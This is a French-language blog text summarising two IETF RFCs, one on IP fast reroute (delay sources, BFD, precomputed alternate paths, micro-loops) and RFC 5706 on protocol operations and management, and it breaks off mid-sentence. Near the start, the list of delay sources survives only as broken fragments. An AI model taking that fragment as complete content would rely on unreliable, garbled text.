La section 4 du RFC analyse le problème. D'où vient le délai avant que la route alternative soit utilisable ? Il y a plusieurs sources de retard :
Hello
d'OSPF),
alors, des durées de plusieurs dizaines de secondes sont
possibles.Toutes ces opérations n'étant pas instantanées et devant être effectuées par plusieurs routeurs, le réseau sera dans un état incohérent pendant un moment et on verra des micro-boucles temporaires se former (une micro-boucle est le ping-pong entre deux routeurs, chacun croyant que l'autre est la meilleure route, cf. RFC 5715).
Quels sont les mécanismes disponibles pour faire mieux ? La section 5 les expose. Pour la détection de la panne (section 5.1), l'aide du matériel est bien pratique : si la fibre est coupée, la disparition de la lumière indique le problème immédiatement. Mais il existe aussi des protocoles indépendants du protocole de routage, et dédiés à la détection de pannes, comme BFD.
Pour réparer la panne, l'idée de base est de pré-calculer les chemins alternatifs, ce qui permettra de les installer rapidement (section 5.2). La plupart des pannes devraient pouvoir être réparées avec les techniques du RFC 5286, qui ne nécessitent pas de marquage spécial des paquets IP. Pour les autres, des techniques plus avancées sont nécessaires comme le calcul et le stockage à l'avance de plusieurs FIB dans les routeurs, combinés avec un mécanisme de signalisation permettant d'indiquer que le paquet doit prendre la route de secours. Des mécanismes reposant sur un routage explicite, par exemple avec des tunnels, sont également possibles.
Au fait, j'ai utilisé des termes vagues comme « la plupart ». Peut-on les quantifier ? La section 5.2.2 analyse le succès de chaque mécanisme en fonction de la topologie.
Enfin, pour la prévention des micro-boucles, la section 5.3 renvoie au RFC 5715 qui liste les possibilités.
Date de publication du RFC : Novembre 2009
Auteur(s) du RFC : D. Harrington (Huwaei / Symantec)
Pour information
Première rédaction de cet article le 8 décembre 2009
Ce n'est pas tout de normaliser des protocoles. Pour qu'ils ne rendent pas la vie impossible aux administrateurs réseaux, il faut encore qu'ils soient faciles à administrer. Cela peut être plus facile si ces questions opérationnelles ont été prises en compte dès le début. Ce RFC 5706 demande donc que tout nouveau protocole fait à l'IETF reçoive, dès le début, une sérieuse attention pour ses problèmes de gestion. Le faire a posteriori est en effet souvent moins efficace.
Ce RFC est essentiellement composé d'une liste de recommandations (très détaillées) aux auteurs de nouveaux protocoles, expliquant les étapes qu'ils doivent suivre pour que leur protocole soit « gérable ». Cette liste est résumé dans l'annexe A, qu'il suffit normalement de suivre pas-à-pas pour que le protocole soit complet.
La section 1.1 resitue la question : cela fait longtemps que l'IETF demande aux auteurs de protocole de prévoir les mécanismes de gestion pratique dès le début. Un cadre existe pour cela, autour du SMI (modèle décrivant les variables du protocole) du RFC 2578 (et du protocole qui lui est le plus souvent associé, SNMP ; voir le RFC 3410). Mais ce modèle est trop étroit et ne couvre pas l'intégralité de ce qu'il faut savoir pour le déploiement et l'administration d'un protocole. Sans aller jusqu'à formellement imposer une section Management Considerations dans les RFC (comme il existe une Security Considerations obligatoire), notre RFC 5706 demande une attention sérieuse portée, dès le début, aux questions de gestion et d'opération des réseaux.
La différence entre « gestion » (management) et « opération » (operation) est décrite en section 1.2. Les opérations, c'est faire fonctionner le réseau, même sans mécanisme de gestion. La gestion, c'est utiliser des mécanismes qui ont été créés dans le but d'améliorer les opérations.
Contrairement à l'idée dominante à l'IETF depuis quinze ans, et
depuis les grandes luttes entre SNMP et
CMIP, il n'est plus envisagé (section 1.3) d'atteindre le
Graal du mécanisme unique. Toutes les solutions
sont désormais acceptables, pourvu qu'elles marchent. (Parmi les
échecs du SMI, on peut noter celui décrit par le RFC 3197. Aujourd'hui encore, les serveurs DNS sont gérés par des
mécanismes non-standard comme la commande rndc
de
BIND.)
Le RFC 5706 va donc donner des lignes directrices et des conseils, plutôt que des obligations. C'est donc un assouplissement par rapport à l'ancienne politique de l'IESG qui exigeait une MIB (description des variables en suivant le SMI) pour tout protocole, au grand désespoir de certains auteurs.
Les sections 1.4 et 1.5 rappellent l'histoire tourmentée des mécanismes de gestion des réseaux TCP/IP. Par exemple, une date importante avait été le RFC 1052 en 1988, qui séparait le langage de modélisation (celui qui sert à écrire la MIB) du protocole d'accès aux données (aujourd'hui SNMP). Une autre avait été le RFC 3139 en 2001,